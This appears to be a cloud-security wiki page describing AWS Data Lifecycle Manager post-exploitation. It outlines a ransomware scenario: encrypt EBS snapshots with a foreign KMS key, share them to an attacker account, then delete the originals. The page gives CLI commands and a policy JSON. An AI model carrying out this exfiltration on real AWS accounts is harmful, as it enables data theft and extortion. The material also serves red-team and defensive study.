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AWS - DLM Post Exploitation

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Data Lifecycle Manger (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot.

Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type.

aws ec2 describe-volumes

Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.

aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

A template for the policy document can be seen here:

{
  "PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
  "ResourceTypes": [
    "VOLUME"
  ],
  "TargetTags": [
    {
      "Key": "ExampleKey",
      "Value": "ExampleValue"
    }
  ],
  "Schedules": [
    {
      "Name": "DailySnapshots",
      "CopyTags": true,
      "TagsToAdd": [
        {
          "Key": "SnapshotCreator",
          "Value": "DLM"
        }
      ],
      "VariableTags": [
        {
          "Key": "CostCenter",
          "Value": "Finance"
        }
      ],
      "CreateRule": {
        "Interval": 24,
        "IntervalUnit": "HOURS",
        "Times": [
          "03:00"
        ]
      },
      "RetainRule": {
        "Count": 14
      },
      "FastRestoreRule": {
        "Count": 2,
        "Interval": 12,
        "IntervalUnit": "HOURS"
      },
      "CrossRegionCopyRules": [
        {
          "TargetRegion": "us-west-2",
          "Encrypted": true,
          "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
          "CopyTags": true,
          "RetainRule": {
            "Interval": 1,
            "IntervalUnit": "DAYS"
          }
        }
      ],
      "ShareRules": [
        {
          "TargetAccounts": [
            "123456789012"
          ],
          "UnshareInterval": 30,
          "UnshareIntervalUnit": "DAYS"
        }
      ]
    }
  ],
  "Parameters": {
    "ExcludeBootVolume": false
  }
}
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